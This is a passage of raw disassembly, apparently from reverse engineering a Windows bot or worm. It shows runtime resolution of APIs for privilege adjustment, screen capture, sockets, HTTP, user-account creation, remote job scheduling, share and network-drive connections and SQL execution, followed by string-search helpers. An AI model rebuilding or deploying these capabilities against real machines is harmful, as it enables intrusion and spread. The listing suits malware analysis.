dword_4264EC, 1 loc_4073FA: ; CODE XREF: sub_407087+367j push offset aOpenprocesstok ; "OpenProcessToken" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42640C, eax push offset aLookupprivileg ; "LookupPrivilegeValueA" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263EC, eax push offset aAdjusttokenpri ; "AdjustTokenPrivileges" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42648C, eax cmp dword_42640C, 0 jz short loc_40744E cmp dword_4263EC, 0 jz short loc_40744E cmp dword_42648C, 0 jnz short loc_407458 loc_40744E: ; CODE XREF: sub_407087+3B3j ; sub_407087+3BCj mov dword_4264EC, 1 loc_407458: ; CODE XREF: sub_407087+3C5j push offset aGetusernamea ; "GetUserNameA" push [ebp+var_30] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426344, eax cmp dword_426344, 0 jnz short loc_40747E mov dword_4264EC, 1 loc_40747E: ; CODE XREF: sub_407087+3EBj jmp short loc_407495 ; --------------------------------------------------------------------------- loc_407480: ; CODE XREF: sub_407087+2BBj call ds:GetLastError mov dword_4264F0, eax mov dword_4264EC, 1 loc_407495: ; CODE XREF: sub_407087:loc_40747Ej push offset aGdi32_dll ; "gdi32.dll" call ds:GetModuleHandleA ; GetModuleHandleA mov [ebp+var_24], eax cmp [ebp+var_24], 0 jz loc_4075B5 push offset aCreatedca ; "CreateDCA" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426414, eax push offset aCreatedibsecti ; "CreateDIBSection" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426464, eax push offset aCreatecompatib ; "CreateCompatibleDC" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42646C, eax push offset aGetdevicecaps ; "GetDeviceCaps" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42642C, eax push offset aGetdibcolortab ; "GetDIBColorTable" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426378, eax push offset aSelectobject ; "SelectObject" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42633C, eax push offset aBitblt ; "BitBlt" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426468, eax push offset aDeletedc ; "DeleteDC" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426328, eax push offset aDeleteobject ; "DeleteObject" push [ebp+var_24] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263A0, eax cmp dword_426414, 0 jz short loc_4075A9 cmp dword_426464, 0 jz short loc_4075A9 cmp dword_42646C, 0 jz short loc_4075A9 cmp dword_42642C, 0 jz short loc_4075A9 cmp dword_426378, 0 jz short loc_4075A9 cmp dword_42633C, 0 jz short loc_4075A9 cmp dword_426468, 0 jz short loc_4075A9 cmp dword_426328, 0 jz short loc_4075A9 cmp dword_4263A0, 0 jnz short loc_4075B3 loc_4075A9: ; CODE XREF: sub_407087+4D8j ; sub_407087+4E1j ... mov dword_4264F4, 1 loc_4075B3: ; CODE XREF: sub_407087+520j jmp short loc_4075CA ; --------------------------------------------------------------------------- loc_4075B5: ; CODE XREF: sub_407087+420j call ds:GetLastError mov dword_4264F8, eax mov dword_4264F4, 1 loc_4075CA: ; CODE XREF: sub_407087:loc_4075B3j push offset aWs2_32_dll ; "ws2_32.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_10], eax cmp [ebp+var_10], 0 jz loc_40796B push offset aWsastartup ; "WSAStartup" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263B4, eax push offset aWsasocketa ; "WSASocketA" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264C4, eax push offset aWsaasyncselect ; "WSAAsyncSelect" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426368, eax push offset a__wsafdisset ; "__WSAFDIsSet" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426348, eax push offset aWsaioctl ; "WSAIoctl" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263DC, eax push offset aWsagetlasterro ; "WSAGetLastError" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263C8, eax push offset aWsacleanup ; "WSACleanup" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42639C, eax push offset aSocket ; "socket" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264A0, eax push offset aIoctlsocket ; "ioctlsocket" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264BC, eax push offset aConnect ; "connect" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263D8, eax push offset aInet_ntoa ; "inet_ntoa" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264AC, eax push offset aInet_addr ; "inet_addr" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426460, eax push offset aHtons ; "htons" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426424, eax push offset aHtonl ; "htonl" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426420, eax push offset aNtohs ; "ntohs" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426384, eax push offset aNtohl ; "ntohl" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42637C, eax push offset aSend ; "send" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426470, eax push offset aSendto ; "sendto" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426484, eax push offset aRecv ; "recv" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42643C, eax push offset aRecvfrom ; "recvfrom" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426400, eax push offset aBind ; "bind" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426450, eax push offset aSelect ; "select" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426410, eax push offset aListen ; "listen" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42644C, eax push offset aAccept ; "accept" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264B4, eax push offset aSetsockopt ; "setsockopt" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426408, eax push offset aGetsockname ; "getsockname" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263D4, eax push offset aGethostname ; "gethostname" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426438, eax push offset aGethostbyname ; "gethostbyname" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264A4, eax push offset aGethostbyaddr ; "gethostbyaddr" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263E8, eax push offset aGetpeername ; "getpeername" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426398, eax push offset aClosesocket ; "closesocket" push [ebp+var_10] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264B8, eax cmp dword_4263B4, 0 jz loc_40795F cmp dword_4264C4, 0 jz loc_40795F cmp dword_426368, 0 jz loc_40795F cmp dword_4263DC, 0 jz loc_40795F cmp dword_4263C8, 0 jz loc_40795F cmp dword_42639C, 0 jz loc_40795F cmp dword_4264A0, 0 jz loc_40795F cmp dword_4264BC, 0 jz loc_40795F cmp dword_4263D8, 0 jz loc_40795F cmp dword_4264AC, 0 jz loc_40795F cmp dword_426460, 0 jz loc_40795F cmp dword_426424, 0 jz loc_40795F cmp dword_426420, 0 jz loc_40795F cmp dword_426384, 0 jz short loc_40795F cmp dword_426470, 0 jz short loc_40795F cmp dword_426484, 0 jz short loc_40795F cmp dword_42643C, 0 jz short loc_40795F cmp dword_426400, 0 jz short loc_40795F cmp dword_426450, 0 jz short loc_40795F cmp dword_426410, 0 jz short loc_40795F cmp dword_42644C, 0 jz short loc_40795F cmp dword_4264B4, 0 jz short loc_40795F cmp dword_426408, 0 jz short loc_40795F cmp dword_4263D4, 0 jz short loc_40795F cmp dword_426438, 0 jz short loc_40795F cmp dword_4264A4, 0 jz short loc_40795F cmp dword_4263E8, 0 jz short loc_40795F cmp dword_4264B8, 0 jnz short loc_407969 loc_40795F: ; CODE XREF: sub_407087+7AFj ; sub_407087+7BCj ... mov dword_4264FC, 1 loc_407969: ; CODE XREF: sub_407087+8D6j jmp short loc_407980 ; --------------------------------------------------------------------------- loc_40796B: ; CODE XREF: sub_407087+555j call ds:GetLastError mov dword_426500, eax mov dword_4264FC, 1 loc_407980: ; CODE XREF: sub_407087:loc_407969j push offset aWininet_dll ; "wininet.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_1C], eax cmp [ebp+var_1C], 0 jz loc_407AED push offset aInternetgetcon ; "InternetGetConnectedState" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42638C, eax push offset aInternetgetc_0 ; "InternetGetConnectedStateEx" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426330, eax push offset aHttpopenreques ; "HttpOpenRequestA" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263F4, eax push offset aHttpsendreques ; "HttpSendRequestA" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263B8, eax push offset aInternetconnec ; "InternetConnectA" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263FC, eax push offset aInternetopena ; "InternetOpenA" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263CC, eax push offset aInternetopenur ; "InternetOpenUrlA" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42635C, eax push offset aInternetcracku ; "InternetCrackUrlA" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426354, eax push offset aInternetreadfi ; "InternetReadFile" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426364, eax push offset aInternetcloseh ; "InternetCloseHandle" push [ebp+var_1C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426454, eax cmp dword_42638C, 0 jz short loc_407AB0 cmp dword_426330, 0 jz short loc_407AB0 cmp dword_4263F4, 0 jz short loc_407AB0 cmp dword_4263B8, 0 jz short loc_407AB0 cmp dword_4263FC, 0 jz short loc_407AB0 cmp dword_4263CC, 0 jz short loc_407AB0 cmp dword_42635C, 0 jz short loc_407AB0 cmp dword_426354, 0 jz short loc_407AB0 cmp dword_426364, 0 jz short loc_407AB0 cmp dword_426454, 0 jnz short loc_407ABA loc_407AB0: ; CODE XREF: sub_407087+9D6j ; sub_407087+9DFj ... mov dword_426504, 1 loc_407ABA: ; CODE XREF: sub_407087+A27j cmp dword_4263CC, 0 jz short loc_407AEB push 0 push 0 push 0 push 0 push offset aMozilla4_0Comp ; "Mozilla/4.0 (compatible)" call dword_4263CC ; InternetOpenA mov dword_4263E0, eax cmp dword_4263E0, 0 jnz short loc_407AEB and dword_4263E0, 0 loc_407AEB: ; CODE XREF: sub_407087+A3Aj ; sub_407087+A5Bj jmp short loc_407B09 ; --------------------------------------------------------------------------- loc_407AED: ; CODE XREF: sub_407087+90Bj call ds:GetLastError mov dword_426508, eax mov dword_426504, 1 and dword_4263E0, 0 loc_407B09: ; CODE XREF: sub_407087:loc_407AEBj push offset aNetapi32_dll ; "netapi32.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_8], eax cmp [ebp+var_8], 0 jz loc_407C61 push offset aNetshareadd ; "NetShareAdd" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426350, eax push offset aNetsharedel ; "NetShareDel" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426338, eax push offset aNetshareenum ; "NetShareEnum" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426394, eax push offset aNetschedulejob ; "NetScheduleJobAdd" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263BC, eax push offset aNetapibufferfr ; "NetApiBufferFree" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264B0, eax push offset aNetremotetod ; "NetRemoteTOD" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426380, eax push offset aNetuseradd ; "NetUserAdd" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426340, eax push offset aNetuserdel ; "NetUserDel" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426334, eax push offset aNetuserenum ; "NetUserEnum" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263A4, eax push offset aNetusergetinfo ; "NetUserGetInfo" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426478, eax push offset aNetmessagebuff ; "NetMessageBufferSend" push [ebp+var_8] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426434, eax cmp dword_426350, 0 jz short loc_407C55 cmp dword_426338, 0 jz short loc_407C55 cmp dword_426394, 0 jz short loc_407C55 cmp dword_4263BC, 0 jz short loc_407C55 cmp dword_4264B0, 0 jz short loc_407C55 cmp dword_426380, 0 jz short loc_407C55 cmp dword_426340, 0 jz short loc_407C55 cmp dword_426334, 0 jz short loc_407C55 cmp dword_4263A4, 0 jz short loc_407C55 cmp dword_426478, 0 jz short loc_407C55 cmp dword_426434, 0 jnz short loc_407C5F loc_407C55: ; CODE XREF: sub_407087+B72j ; sub_407087+B7Bj ... mov dword_426514, 1 loc_407C5F: ; CODE XREF: sub_407087+BCCj jmp short loc_407C76 ; --------------------------------------------------------------------------- loc_407C61: ; CODE XREF: sub_407087+A94j call ds:GetLastError mov dword_426518, eax mov dword_426514, 1 loc_407C76: ; CODE XREF: sub_407087:loc_407C5Fj push offset aDnsapi_dll ; "dnsapi.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_2C], eax cmp [ebp+var_2C], 0 jz short loc_407CCE push offset aDnsflushresolv ; "DnsFlushResolverCache" push [ebp+var_2C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426370, eax push offset aDnsflushreso_0 ; "DnsFlushResolverCacheEntry_A" push [ebp+var_2C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42641C, eax cmp dword_426370, 0 jz short loc_407CC2 cmp dword_42641C, 0 jnz short loc_407CCC loc_407CC2: ; CODE XREF: sub_407087+C30j mov dword_42651C, 1 loc_407CCC: ; CODE XREF: sub_407087+C39j jmp short loc_407CE3 ; --------------------------------------------------------------------------- loc_407CCE: ; CODE XREF: sub_407087+C01j call ds:GetLastError mov dword_426520, eax mov dword_42651C, 1 loc_407CE3: ; CODE XREF: sub_407087:loc_407CCCj push offset aIphlpapi_dll ; "iphlpapi.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_C], eax cmp [ebp+var_C], 0 jz short loc_407D3B push offset aGetipnettable ; "GetIpNetTable" push [ebp+var_C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42649C, eax push offset aDeleteipnetent ; "DeleteIpNetEntry" push [ebp+var_C] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426498, eax cmp dword_42649C, 0 jz short loc_407D2F cmp dword_426498, 0 jnz short loc_407D39 loc_407D2F: ; CODE XREF: sub_407087+C9Dj mov dword_426524, 1 loc_407D39: ; CODE XREF: sub_407087+CA6j jmp short loc_407D50 ; --------------------------------------------------------------------------- loc_407D3B: ; CODE XREF: sub_407087+C6Ej call ds:GetLastError mov dword_426528, eax mov dword_426524, 1 loc_407D50: ; CODE XREF: sub_407087:loc_407D39j push offset aMpr_dll ; "mpr.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_14], eax cmp [ebp+var_14], 0 jz short loc_407DE0 push offset aWnetaddconnect ; "WNetAddConnection2A" push [ebp+var_14] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264C8, eax push offset aWnetaddconne_0 ; "WNetAddConnection2W" push [ebp+var_14] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264C0, eax push offset aWnetcancelconn ; "WNetCancelConnection2A" push [ebp+var_14] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426488, eax push offset aWnetcancelco_0 ; "WNetCancelConnection2W" push [ebp+var_14] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426388, eax cmp dword_4264C8, 0 jz short loc_407DD4 cmp dword_4264C0, 0 jz short loc_407DD4 cmp dword_426488, 0 jz short loc_407DD4 cmp dword_426388, 0 jnz short loc_407DDE loc_407DD4: ; CODE XREF: sub_407087+D30j ; sub_407087+D39j ... mov dword_42652C, 1 loc_407DDE: ; CODE XREF: sub_407087+D4Bj jmp short loc_407DF5 ; --------------------------------------------------------------------------- loc_407DE0: ; CODE XREF: sub_407087+CDBj call ds:GetLastError mov dword_426530, eax mov dword_42652C, 1 loc_407DF5: ; CODE XREF: sub_407087:loc_407DDEj push offset aShell32_dll ; "shell32.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_18], eax cmp [ebp+var_18], 0 jz short loc_407E4D push offset aShellexecutea ; "ShellExecuteA" push [ebp+var_18] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263B0, eax push offset aShchangenotify ; "SHChangeNotify" push [ebp+var_18] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426494, eax cmp dword_4263B0, 0 jz short loc_407E41 cmp dword_426494, 0 jnz short loc_407E4B loc_407E41: ; CODE XREF: sub_407087+DAFj mov dword_426534, 1 loc_407E4B: ; CODE XREF: sub_407087+DB8j jmp short loc_407E62 ; --------------------------------------------------------------------------- loc_407E4D: ; CODE XREF: sub_407087+D80j call ds:GetLastError mov dword_426538, eax mov dword_426534, 1 loc_407E62: ; CODE XREF: sub_407087:loc_407E4Bj push offset aOdbc32_dll ; "odbc32.dll" call ds:LoadLibraryA ; LoadLibraryA mov [ebp+var_28], eax cmp [ebp+var_28], 0 jz loc_407F2E push offset aSqldriverconne ; "SQLDriverConnect" push [ebp+var_28] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_42645C, eax push offset aSqlsetenvattr ; "SQLSetEnvAttr" push [ebp+var_28] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4264A8, eax push offset aSqlexecdirect ; "SQLExecDirect" push [ebp+var_28] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263F0, eax push offset aSqlallochandle ; "SQLAllocHandle" push [ebp+var_28] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263C0, eax push offset aSqlfreehandle ; "SQLFreeHandle" push [ebp+var_28] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_426440, eax push offset aSqldisconnect ; "SQLDisconnect" push [ebp+var_28] ; hModule call ds:GetProcAddress ; GetProcAddress mov dword_4263C4, eax cmp dword_42645C, 0 jz short loc_407F22 cmp dword_4264A8, 0 jz short loc_407F22 cmp dword_4263F0, 0 jz short loc_407F22 cmp dword_4263C0, 0 jz short loc_407F22 cmp dword_426440, 0 jz short loc_407F22 cmp dword_4263C4, 0 jnz short loc_407F2C loc_407F22: ; CODE XREF: sub_407087+E6Cj ; sub_407087+E75j ... mov dword_42653C, 1 loc_407F2C: ; CODE XREF: sub_407087+E99j jmp short loc_407F43 ; --------------------------------------------------------------------------- loc_407F2E: ; CODE XREF: sub_407087+DEDj call ds:GetLastError mov dword_426540, eax mov dword_42653C, 1 loc_407F43: ; CODE XREF: sub_407087:loc_407F2Cj push 1 pop eax leave retn sub_407087 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_407F48(char *Src, char *SubStr, char *Source) sub_407F48 proc near ; CODE XREF: sub_40ABFE+106Bp ; sub_40ABFE+10BBp ... Dest = dword ptr -8 var_4 = dword ptr -4 Src = dword ptr 8 SubStr = dword ptr 0Ch Source = dword ptr 10h push ebp mov ebp, esp push ecx push ecx and [ebp+var_4], 0 cmp [ebp+Src], 0 jz short loc_407F6D cmp [ebp+SubStr], 0 jz short loc_407F6D cmp [ebp+Source], 0 jz short loc_407F6D mov eax, [ebp+SubStr] movsx eax, byte ptr [eax] test eax, eax jnz short loc_407F74 loc_407F6D: ; CODE XREF: sub_407F48+Dj ; sub_407F48+13j ... xor eax, eax jmp locret_408012 ; --------------------------------------------------------------------------- loc_407F74: ; CODE XREF: sub_407F48+23j push [ebp+Src] ; Src call __strdup pop ecx mov [ebp+Dest], eax cmp [ebp+Dest], 0 jz loc_40800F push [ebp+SubStr] ; SubStr push [ebp+Src] ; Str call _strstr pop ecx pop ecx mov [ebp+var_4], eax cmp [ebp+var_4], 0 jz short loc_408006 mov eax, [ebp+var_4] sub eax, [ebp+Src] push eax ; Count push [ebp+Src] ; Source push [ebp+Dest] ; Dest call _strncpy add esp, 0Ch mov eax, [ebp+var_4] sub eax, [ebp+Src] mov ecx, [ebp+Dest] and byte ptr [ecx+eax], 0 push [ebp+Source] ; Str call _strlen pop ecx push eax ; Count push [ebp+Source] ; Source push [ebp+Dest] ; Dest call _strncat add esp, 0Ch push [ebp+SubStr] ; Str call _strlen pop ecx mov ecx, [ebp+var_4] add ecx, eax push ecx ; Source push [ebp+Dest] ; Dest call _strcat pop ecx pop ecx push [ebp+Dest] ; Source push [ebp+Src] ; Dest call _strcpy pop ecx pop ecx mov eax, [ebp+Src] mov [ebp+var_4], eax loc_408006: ; CODE XREF: sub_407F48+56j push [ebp+Dest] ; Memory call _free pop ecx loc_40800F: ; CODE XREF: sub_407F48+3Cj mov eax, [ebp+var_4] locret_408012: ; CODE XREF: sub_407F48+27j leave retn sub_407F48 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_408014(char *Str, int) sub_408014 proc near ; CODE XREF: sub_40A9EB+120p var_7DC = dword ptr -7DCh var_7D8 = dword ptr -7D8h var_7D4 = dword ptr -7D4h Dst = dword ptr -7D0h Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 7DCh and [ebp+var_7DC], 0 push 7D0h ; Size push 0 ; Val lea eax, [ebp+Dst] push eax ; Dst call _memset add esp, 0Ch push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+var_7D8], eax cmp [ebp+var_7D8], 1 jge short loc_40805A or eax, 0FFFFFFFFh jmp locret_40816C ; --------------------------------------------------------------------------- loc_40805A: ; CODE XREF: sub_408014+3Cj mov eax, [ebp+var_7DC] mov ecx, [ebp+Str] mov [ebp+eax*4+Dst], ecx mov eax, [ebp+var_7DC] inc eax mov [ebp+var_7DC], eax and [ebp+var_7D4], 0 jmp short loc_40808D ; --------------------------------------------------------------------------- loc_408080: ; CODE XREF: sub_408014:loc_4080C9j mov eax, [ebp+var_7D4] inc eax mov [ebp+var_7D4], eax loc_40808D: ; CODE XREF: sub_408014+6Aj mov eax, [ebp+var_7D4] cmp eax, [ebp+var_7D8] jge short loc_4080CB mov eax, [ebp+Str] add eax, [ebp+var_7D4] movsx eax, byte ptr [eax] cmp eax, 0Ah jz short loc_4080BD mov eax, [ebp+Str] add eax, [ebp+var_7D4] movsx eax, byte ptr [eax] cmp eax, 0Dh jnz short loc_4080C9 loc_4080BD: ; CODE XREF: sub_408014+96j mov eax, [ebp+Str] add eax, [ebp+var_7D4] and byte ptr [eax], 0 loc_4080C9: ; CODE XREF: sub_408014+A7j jmp short loc_408080 ; --------------------------------------------------------------------------- loc_4080CB: ; CODE XREF: sub_408014+85j and [ebp+var_7D4], 0 jmp short loc_4080E1 ; --------------------------------------------------------------------------- loc_4080D4: ; CODE XREF: sub_408014:loc_408147j mov eax, [ebp+var_7D4] inc eax mov [ebp+var_7D4], eax loc_4080E1: ; CODE XREF: sub_408014+BEj mov eax, [ebp+var_7D4] cmp eax, [ebp+var_7D8] jge short loc_408149 mov eax, [ebp+Str] add eax, [ebp+var_7D4] movsx eax, byte ptr [eax] test eax, eax jnz short loc_408147 mov eax, [ebp+Str] add eax, [ebp+var_7D4] movsx eax, byte ptr [eax+1] test eax, eax jz short loc_408147 cmp [ebp+var_7DC], 1F4h jge short loc_408145 mov eax, [ebp+var_7D4] mov ecx, [ebp+Str] lea eax, [ecx+eax+1] mov ecx, [ebp+var_7DC] mov [ebp+ecx*4+Dst], eax mov eax, [ebp+var_7DC] inc eax mov [ebp+var_7DC], eax jmp short loc_408147 ; --------------------------------------------------------------------------- loc_408145: ; CODE XREF: sub_408014+106j jmp short loc_408149 ; --------------------------------------------------------------------------- loc_408147: ; CODE XREF: sub_408014+E9j ; sub_408014+FAj ... jmp short loc_4080D4 ; --------------------------------------------------------------------------- loc_408149: ; CODE XREF: sub_408014+D9j ; sub_408014:loc_408145j cmp [ebp+arg_4], 0 jz short loc_408166 push 7D0h ; Size lea eax, [ebp+Dst] push eax ; Src push [ebp+arg_4] ; Dst call _memcpy add esp, 0Ch loc_408166: ; CODE XREF: sub_408014+139j mov eax, [ebp+var_7DC] locret_40816C: ; CODE XREF: sub_408014+41j leave retn sub_408014 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40816E proc near ; CODE XREF: sub_408200+39p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push ecx push esi and [ebp+var_4], 0 jmp short loc_408181 ; --------------------------------------------------------------------------- loc_40817A: ; CODE XREF: sub_40816E+28j mov eax, [ebp+var_4] inc eax mov [ebp+var_4], eax loc_408181: ; CODE XREF: sub_40816E+Aj cmp [ebp+var_4], 1F4h jge short loc_408198 mov eax, [ebp+var_4] mov ecx, [ebp+arg_8] mov edx, [ebp+arg_4] mov [ecx+eax*4], edx jmp short loc_40817A ; --------------------------------------------------------------------------- loc_408198: ; CODE XREF: sub_40816E+1Aj and [ebp+var_8], 0 jmp short loc_4081A5 ; --------------------------------------------------------------------------- loc_40819E: ; CODE XREF: sub_40816E+5Cj mov eax, [ebp+var_8] inc eax mov [ebp+var_8], eax loc_4081A5: ; CODE XREF: sub_40816E+2Ej mov eax, [ebp+arg_4] dec eax cmp [ebp+var_8], eax jg short loc_4081CC mov esi, [ebp+arg_4] sub esi, [ebp+var_8] dec esi mov eax, [ebp+arg_0] add eax, [ebp+var_8] mov al, [eax] push eax call sub_4081CF pop ecx mov ecx, [ebp+arg_8] mov [ecx+eax*4], esi jmp short loc_40819E ; --------------------------------------------------------------------------- loc_4081CC: ; CODE XREF: sub_40816E+3Ej pop esi leave retn sub_40816E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4081CF proc near ; CODE XREF: sub_40816E+50p ; sub_408200+BFp var_4 = byte ptr -4 arg_0 = byte ptr 8 push ebp mov ebp, esp push ecx movsx eax, [ebp+arg_0] push eax ; C call _tolower ; _tolower pop ecx mov [ebp+var_4], al movsx eax, [ebp+var_4] cmp eax, 61h jl short loc_4081FC movsx eax, [ebp+var_4] cmp eax, 7Ah jg short loc_4081FC movsx eax, [ebp+var_4] sub eax, 60h jmp short locret_4081FE ; --------------------------------------------------------------------------- loc_4081FC: ; CODE XREF: sub_4081CF+19j ; sub_4081CF+22j xor eax, eax locret_4081FE: ; CODE XREF: sub_4081CF+2Bj leave retn sub_4081CF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame ; int __cdecl sub_408200(char *Str, int) sub_408200 proc near ; CODE XREF: .text:004092D2p ; .text:00409391p ... var_1018 = dword ptr -1018h var_1014 = dword ptr -1014h var_1010 = dword ptr -1010h var_100C = dword ptr -100Ch var_1008 = dword ptr -1008h var_1004 = dword ptr -1004h var_4 = dword ptr -4 Str = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp mov eax, 1018h call __alloca_probe push esi push [ebp+Str] ; Str call _strlen pop ecx mov [ebp+var_4], eax push [ebp+arg_4] ; Str call _strlen pop ecx mov [ebp+var_1010], eax lea eax, [ebp+var_1004] push eax push [ebp+var_1010] push [ebp+arg_4] call sub_40816E add esp, 0Ch mov eax, [ebp+var_1010] dec eax mov [ebp+var_100C], eax mov eax, [ebp+var_100C] mov [ebp+var_1008], eax jmp short loc_408276 ; --------------------------------------------------------------------------- loc_40825C: ; CODE XREF: sub_408200:loc_408339j mov eax, [ebp+var_1008] dec eax mov [ebp+var_1008], eax mov eax, [ebp+var_100C] dec eax mov [ebp+var_100C], eax loc_408276: ; CODE XREF: sub_408200+5Aj cmp [ebp+var_100C], 0 jle loc_40833E loc_408283: ; CODE XREF: sub_408200+134j mov eax, [ebp+Str] add eax, [ebp+var_1008] movsx eax, byte ptr [eax] push eax ; C call _tolower ; _tolower pop ecx mov esi, eax mov eax, [ebp+arg_4] add eax, [ebp+var_100C] movsx eax, byte ptr [eax] push eax ; C call _tolower ; _tolower pop ecx cmp esi, eax jz loc_408339 mov eax, [ebp+Str] add eax, [ebp+var_1008] mov al, [eax] push eax call sub_4081CF pop ecx mov eax, [ebp+eax*4+var_1004] mov [ebp+var_1014], eax mov eax, [ebp+var_1010] sub eax, [ebp+var_100C] cmp eax, [ebp+var_1014] jle short loc_4082FA mov eax, [ebp+var_1010] sub eax, 